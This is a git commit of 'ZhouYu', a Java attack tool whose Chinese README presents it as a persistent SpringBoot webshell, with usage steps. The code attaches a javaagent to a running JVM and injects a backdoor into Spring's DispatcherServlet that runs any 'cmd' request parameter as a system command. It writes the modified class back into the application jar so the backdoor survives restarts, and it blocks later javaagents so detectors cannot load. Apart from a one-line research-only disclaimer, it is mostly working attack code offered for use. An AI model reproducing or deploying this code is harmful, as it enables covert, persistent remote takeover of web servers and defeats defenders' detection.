first commit

This commit is contained in:
threedr3am
2021-03-29 17:52:47 +08:00
commit 09888632ac
15 changed files with 678 additions and 0 deletions
+14
View File
@@ -0,0 +1,14 @@
/build/
.idea
*.iws
*.iml
*.ipr
/out/
.DS_Store
out/
/gradlew.bat
/gradle
/gradlew
**/build
**/*.jar
.gradle
+51
View File
@@ -0,0 +1,51 @@
*工具仅用于安全研究,禁止使用工具发起非法攻击,造成的后果使用者负责*
### ZhouYu -> 周瑜
Java - SpringBoot 持久化 WebShell
背景:后Spring时代,SpringBoot jar部署模式下,一般没有了JSP,所有的模板都在jar内,当大家都热衷于内存马的时候,发现很容易被查杀(网上查杀方式无外乎都是利用JVMTI重加载class的javaagent方式),并且重启后丢失!
1. ZhouYu带来新的webshell写入手法,通过javaagent,利用JVMTI机制,在回调时重写class类,插入webshell,并通过阻止后续javaagent加载的方式,防止webshell被查杀
2. 修改的class类插入webshell后,通过持久化到jar进行class替换,达到webshell持久化,任你如何重启都无法甩掉
### 一、打包编译
命令:
```text
gradle :agent:shadowJar
```
```text
./gradlew :agent:shadowJar
```
编译后得到 agent/build/libs/agent-xxx.jar,即ZhouYu.jar
### 二、使用方式
两种场景:
1. 当你知道jvm pid时,并且能写入临时文件(ZhouYu.jar),一般这种场景不太常见,测试场景比较多
```text
java -jar ZhouYu.jar 2323223232为需要attach的jvm进程号!
```
2. 能执行一小段代码(内存shell的原理一般是反序列化时加载一段恶意字节码)
先把编译后得到的ZhouYu.jar写到临时目录,例:/tmp/ZhouYu.jar
接着执行下面代码:
```
try {
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
int indexOf = pid.indexOf('@');
if (indexOf > 0) {
pid = pid.substring(0, indexOf);
Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
}
} catch (Throwable throwable) {
}
```
View File
@@ -0,0 +1,22 @@
package me.threedr3am.zhouyu.agent;
import java.io.IOException;
/**
* @author threedr3am
*/
public class ExpGen {
public static void main(String[] args) throws IOException {
try {
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName();
int indexOf = pid.indexOf('@');
if (indexOf > 0) {
pid = pid.substring(0, indexOf);
Runtime.getRuntime().exec(String.format("java -jar /tmp/ZhouYu.jar %s", pid));
}
} catch (Throwable throwable) {
}
}
}
@@ -0,0 +1,64 @@
package me.threedr3am.zhouyu.agent;
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import me.threedr3am.zhouyu.core.config.Config;
import me.threedr3am.zhouyu.core.transformer.CoreClassFileTransformer;
/**
* @author threedr3am
*/
public class ZhouYu {
public static void premain(String agentArg, Instrumentation inst) {
init(agentArg, inst);
}
public static void agentmain(String agentArg, Instrumentation inst) {
init(agentArg, inst);
}
public static synchronized void init(String action, Instrumentation inst) {
System.out.println("[ZhouYu] 持久化Agent Shell启动 ...");
System.out.println(String.format("[ZhouYu] 参数: %s", action));
try {
Config.init(action);
CoreClassFileTransformer coreClassFileTransformer = new CoreClassFileTransformer(inst);
inst.addTransformer(coreClassFileTransformer, true);
coreClassFileTransformer.retransform();
} catch (Throwable e) {
System.err.println("[ZhouYu] 持久化Agent Shell写入失败!");
e.printStackTrace();
}
}
public static void main(String[] args)
throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
if (args.length == 0) {
System.err.println("[ZhouYu] 参数缺少,例:java -jar ZhouYu.jar 2323223232为需要attach的jvm进程号!");
System.exit(-1);
}
VirtualMachine vmObj = null;
try {
vmObj = VirtualMachine.attach(args[0]);
String agentpath = ZhouYu.class.getProtectionDomain().getCodeSource().getLocation().getFile();
if (vmObj != null) {
if (args.length > 1) {
vmObj.loadAgent(agentpath, args[1]);
} else {
vmObj.loadAgent(agentpath);
}
}
} finally {
if (null != vmObj) {
vmObj.detach();
}
}
}
}
+64
View File
@@ -0,0 +1,64 @@
buildscript {
repositories {
jcenter()
}
dependencies {
classpath "com.github.jengelman.gradle.plugins:shadow:4.0.3"
}
}
allprojects {
apply plugin: 'java'
group 'me.threedr3am.zhouyu'
version '1.0-SNAPSHOT'
sourceCompatibility = 1.7
targetCompatibility = 1.7
}
subprojects {
dependencies {
testImplementation 'org.junit.jupiter:junit-jupiter-api:5.6.0'
testRuntimeOnly 'org.junit.jupiter:junit-jupiter-engine'
runtime files(org.gradle.internal.jvm.Jvm.current().toolsJar)
}
repositories {
mavenCentral()
}
test {
useJUnitPlatform()
}
}
project(":agent") {
apply plugin: 'com.github.johnrengelman.shadow'
shadowJar {
manifest {
attributes 'Main-Class': 'me.threedr3am.zhouyu.agent.ZhouYu'
attributes 'Premain-Class': 'me.threedr3am.zhouyu.agent.ZhouYu'
attributes 'Agent-Class': 'me.threedr3am.zhouyu.agent.ZhouYu'
attributes 'Can-Redefine-Classes': true
attributes 'Can-Retransform-Classes': true
}
relocate 'javassist', 'me.threedr3am.zhouyu.javassist'
}
dependencies {
compile project(":core")
}
}
project(":core") {
dependencies {
compile group: 'org.javassist', name: 'javassist', version: '3.27.0-GA'
}
}
View File
@@ -0,0 +1,70 @@
package me.threedr3am.zhouyu.core.config;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @author threedr3am
*/
public class Config {
private static Config config;
private static Boolean printError = false;
public static final Config getInstance() {
if (config == null) {
synchronized (Config.class) {
if (config == null) {
config = new Config();
}
}
}
return config;
}
public static void init(String action) throws IllegalAccessException {
if (action == null || action.isEmpty()) {
return;
}
Config config = getInstance();
Map<String, Field> fieldMap = new HashMap<>();
Field[] fields = Config.class.getDeclaredFields();
for (Field field : fields) {
if (field.getName().equals("config")) {
continue;
}
fieldMap.put(field.getName(), field);
}
Pattern pattern = Pattern.compile("((.+?)=(.+?))(,|$)");
Matcher matcher = pattern.matcher(action);
while (matcher.find()) {
String key = matcher.group(2);
String value = matcher.group(3);
Field field;
if ((field = fieldMap.get(key)) != null) {
if (field.getType() == Boolean.class) {
field.set(config, Boolean.valueOf(value));
} else if (field.getType() == Integer.class) {
field.set(config, Integer.valueOf(value));
} else if (field.getType() == Long.class) {
field.set(config, Long.valueOf(value));
} else {
field.set(config, value);
}
}
}
}
public static Boolean getPrintError() {
return printError;
}
public static void main(String[] args) {
System.out.println();
}
}
@@ -0,0 +1,50 @@
package me.threedr3am.zhouyu.core.init;
import java.io.ByteArrayInputStream;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import me.threedr3am.zhouyu.core.transformer.Transformer;
/**
* @author threedr3am
*/
public class ProtectTransformer implements Transformer {
@Override
public boolean condition(String className) {
return false;
}
@Override
public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
return check(className, loader, codeBytes);
}
private byte[] check(String className, ClassLoader loader, byte[] codeBytes) {
CtClass ctClass = null;
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
CtClass[] interfaces = ctClass.getInterfaces();
if (interfaces != null) {
for (CtClass anInterface : interfaces) {
//遇到其它的agent,直接干掉它,不让它加载
if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
System.out.println(String.format("[ZhouYu] 有新的agent: %s 加载,把它干掉!", className));
return new byte[0];
}
}
}
return ctClass.toBytecode();
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return codeBytes;
}
}
@@ -0,0 +1,232 @@
package me.threedr3am.zhouyu.core.init;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Modifier;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashSet;
import java.util.Set;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
import java.util.jar.JarOutputStream;
import java.util.zip.CRC32;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import me.threedr3am.zhouyu.core.transformer.Transformer;
import me.threedr3am.zhouyu.core.util.JavassistUtil;
/**
* @author threedr3am
*/
public class WriteShellTransformer implements Transformer {
private String[][] methods = new String[][] {
// new String[] {"javax/servlet/http/HttpServlet", "javax.servlet.http.HttpServlet", "service", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"},
new String[] {"org/springframework/web/servlet/DispatcherServlet", "org.springframework.web.servlet.DispatcherServlet", "doService", "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"},
};
private Set<String> cache = new HashSet<>();
@Override
public boolean condition(String className) {
for (int i = 0; i < methods.length; i++) {
if (className.equals(methods[i][0]) || className.equals(methods[i][1])) {
return true;
}
}
return false;
}
@Override
public byte[] transformer(ClassLoader loader, String className, byte[] codeBytes) {
for (int i = 0; i < methods.length; i++) {
if (className.equals(methods[i][0]) || className.equals(methods[i][1])) {
codeBytes = insertShell(methods[i][2], methods[i][3], loader, codeBytes, getBeforeInsertCode());
}
}
return codeBytes;
}
private String getBeforeInsertCode() {
StringBuilder codeBuilder = new StringBuilder()
.append("String cmd = $1.getParameter(\"cmd\");").append("\n")
.append("if (cmd != null) {").append("\n")
.append(" try {").append("\n")
.append(" String[] cmds = cmd.split(\" \");").append("\n")
.append(" InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();").append("\n")
.append(" StringBuilder stringBuilder = new StringBuilder();").append("\n")
.append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));").append("\n")
.append(" String line;").append("\n")
.append(" while((line = bufferedReader.readLine()) != null) {").append("\n")
.append(" stringBuilder.append(line).append(\"\\n\");").append("\n")
.append(" }").append("\n")
.append(" byte[] res = stringBuilder.toString().getBytes(StandardCharsets.UTF_8);").append("\n")
.append(" $2.getOutputStream().write(res);").append("\n")
// .append(" $2.getOutputStream().flush();").append("\n")
// .append(" $2.getOutputStream().close();").append("\n")
.append(" } catch (Throwable throwable) {").append("\n")
.append(" throwable.printStackTrace();").append("\n")
.append(" }").append("\n")
.append("}").append("\n")
;
return codeBuilder.toString();
}
private byte[] insertShell(String hookMethod, String hookMethodSignature, ClassLoader loader, byte[] codeBytes, String beforeCode) {
CtClass ctClass = null;
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
classPool.importPackage("java.io.InputStream");
classPool.importPackage("java.lang.Runtime");
classPool.importPackage("java.lang.StringBuilder");
classPool.importPackage("java.io.BufferedReader");
classPool.importPackage("java.io.InputStreamReader");
classPool.importPackage("java.nio.charset.StandardCharsets");
ctClass = classPool.makeClass(new ByteArrayInputStream(codeBytes));
if (hookMethod.equals("<init>")) {
Set<CtConstructor> ctConstructors = JavassistUtil.getAllConstructors(ctClass);
for (CtConstructor ctConstructor : ctConstructors) {
if (cache.contains(ctConstructor.getLongName())) {
continue;
}
if (ctConstructor.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*")) {
System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctConstructor.getName(), ctConstructor.getSignature()));
ctConstructor.insertBefore(beforeCode);
}
}
} else {
Set<CtMethod> methods = JavassistUtil.getAllMethods(ctClass);
for (CtMethod ctMethod : methods) {
if (cache.contains(ctMethod.getLongName())) {
continue;
}
if ((Modifier.NATIVE & ctMethod.getModifiers()) == 0 && ctMethod.getName().equals(hookMethod) && (ctMethod.getSignature().equals(hookMethodSignature) || hookMethodSignature.equals("*"))) {
System.out.println(String.format("[ZhouYu] hook %s %s %s", ctClass.getName(), ctMethod.getName(), ctMethod.getSignature()));
ctMethod.insertBefore(beforeCode);
}
}
}
System.out.println(ctClass.getURL().getFile());
overrideClassForJar(ctClass.getURL().getFile(), ctClass.toBytecode());
return ctClass.toBytecode();
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
return codeBytes;
}
private void overrideClassForJar(String path, byte[] codeBytes) throws IOException {
try {
if (!path.contains("!/")) {
if (path.endsWith(".class")) {
try {
Files.write(Paths.get(path), codeBytes);
} catch (IOException e) {
e.printStackTrace();
}
}
}
String origin = path.replace("file:", "");
String[] paths = origin.split("!/");
String jar = paths[0];
String secondJar = paths.length == 3 ? paths[1] : "NULL";
String target = jar + ".target";
String classPath = paths.length == 2 ? paths[1] : paths[2];
JarInputStream jarInputStream = new JarInputStream(new FileInputStream(jar));
JarOutputStream jarOutputStream = new JarOutputStream(new FileOutputStream(target), jarInputStream.getManifest());
JarEntry jarEntry;
byte[] bytes = new byte[1024];
int count;
while((jarEntry = jarInputStream.getNextJarEntry()) != null) {
if (jarEntry.getName().equals(secondJar)) {
System.out.println(String.format("替换jar: %s", jarEntry.getName()));
ByteArrayOutputStream readByteArrayOutputStream = new ByteArrayOutputStream();
while ((count = jarInputStream.read(bytes)) != -1) {
readByteArrayOutputStream.write(bytes, 0, count);
}
JarInputStream jarInputStream2 = new JarInputStream(new ByteArrayInputStream(readByteArrayOutputStream.toByteArray()));
ByteArrayOutputStream writeByteArrayOutputStream = new ByteArrayOutputStream();
JarOutputStream jarOutputStream2 = new JarOutputStream(writeByteArrayOutputStream, jarInputStream2.getManifest());
JarEntry jarEntry2;
while((jarEntry2 = jarInputStream2.getNextJarEntry()) != null) {
if (jarEntry2.getName().equals(classPath)) {
JarEntry newJarEntry = new JarEntry(jarEntry2.getName());
newJarEntry.setMethod(JarEntry.STORED);
newJarEntry.setCompressedSize(codeBytes.length);
newJarEntry.setSize(codeBytes.length);
CRC32 crc = new CRC32();
crc.reset();
crc.update(codeBytes);
newJarEntry.setCrc(crc.getValue());
jarOutputStream2.putNextEntry(newJarEntry);
jarOutputStream2.write(codeBytes);
System.out.println(String.format("替换内部jar: %s 中的class: %s", jarEntry.getName(), jarEntry2.getName()));
} else {
jarOutputStream2.putNextEntry(jarEntry2);
while ((count = jarInputStream2.read(bytes)) != -1) {
jarOutputStream2.write(bytes, 0, count);
}
}
jarOutputStream2.closeEntry();
jarInputStream2.closeEntry();
}
jarOutputStream2.close();
jarInputStream2.close();
JarEntry newJarEntry = new JarEntry(jarEntry.getName());
newJarEntry.setMethod(JarEntry.STORED);
newJarEntry.setCompressedSize(writeByteArrayOutputStream.size());
newJarEntry.setSize(writeByteArrayOutputStream.size());
CRC32 crc = new CRC32();
crc.reset();
crc.update(writeByteArrayOutputStream.toByteArray());
newJarEntry.setCrc(crc.getValue());
jarOutputStream.putNextEntry(newJarEntry);
jarOutputStream.write(writeByteArrayOutputStream.toByteArray());
} else {
if (jarEntry.getName().equals(classPath)) {
JarEntry newJarEntry = new JarEntry(jarEntry.getName());
newJarEntry.setMethod(JarEntry.STORED);
newJarEntry.setCompressedSize(codeBytes.length);
newJarEntry.setSize(codeBytes.length);
CRC32 crc = new CRC32();
crc.reset();
crc.update(codeBytes);
newJarEntry.setCrc(crc.getValue());
jarOutputStream.putNextEntry(newJarEntry);
jarOutputStream.write(codeBytes);
System.out.println(String.format("替换class: %s", jarEntry.getName()));
} else {
jarOutputStream.putNextEntry(jarEntry);
while ((count = jarInputStream.read(bytes)) != -1) {
jarOutputStream.write(bytes, 0, count);
}
}
}
jarOutputStream.closeEntry();
jarInputStream.closeEntry();
}
jarInputStream.close();
jarOutputStream.close();
Files.write(Paths.get(jar), Files.readAllBytes(Paths.get(target)));
Files.delete(Paths.get(target));
} catch (IOException e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,4 @@
/**
* @author threedr3am
*/
package me.threedr3am.zhouyu.core;
@@ -0,0 +1,64 @@
package me.threedr3am.zhouyu.core.transformer;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import me.threedr3am.zhouyu.core.init.ProtectTransformer;
import me.threedr3am.zhouyu.core.init.WriteShellTransformer;
/**
* @author threedr3am
*/
public class CoreClassFileTransformer implements ClassFileTransformer {
private Instrumentation inst;
private static final List<Transformer> transformers = new ArrayList<>();
static {
transformers.add(new WriteShellTransformer());
transformers.add(new ProtectTransformer());
}
public CoreClassFileTransformer(Instrumentation inst) {
this.inst = inst;
}
public void retransform() {
Class[] classes = inst.getAllLoadedClasses();
if (classes != null) {
Set<Class> classSet = new HashSet<>();
for (Class aClass : classes) {
for (Transformer transformer : transformers) {
if (transformer.condition(aClass.getName()) && inst.isModifiableClass(aClass)) {
classSet.add(aClass);
System.out.println(String.format("[ZhouYu] reload class: %s", aClass.getName()));
break;
}
}
}
if (!classSet.isEmpty()) {
try {
inst.retransformClasses(classSet.toArray(new Class[classSet.size()]));
} catch (UnmodifiableClassException e) {
e.printStackTrace();
}
}
}
}
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
for (Transformer transformer : transformers) {
classfileBuffer = transformer.transformer(loader, className, classfileBuffer);
}
return classfileBuffer;
}
}
@@ -0,0 +1,11 @@
package me.threedr3am.zhouyu.core.transformer;
/**
* @author threedr3am
*/
public interface Transformer {
boolean condition(String className);
byte[] transformer(ClassLoader loader, String className, byte[] codeBytes);
}
@@ -0,0 +1,28 @@
package me.threedr3am.zhouyu.core.util;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
/**
* @author threedr3am
*/
public class JavassistUtil {
public static Set<CtMethod> getAllMethods(CtClass ctClass) {
Set<CtMethod> ctMethods = new HashSet<>();
ctMethods.addAll(Arrays.asList(ctClass.getDeclaredMethods()));
ctMethods.addAll(Arrays.asList(ctClass.getMethods()));
return ctMethods;
}
public static Set<CtConstructor> getAllConstructors(CtClass ctClass) {
Set<CtConstructor> ctConstructors = new HashSet<>();
ctConstructors.addAll(Arrays.asList(ctClass.getDeclaredConstructors()));
ctConstructors.addAll(Arrays.asList(ctClass.getConstructors()));
return ctConstructors;
}
}
+4
View File
@@ -0,0 +1,4 @@
rootProject.name = 'ZhouYu'
include 'agent'
include 'core'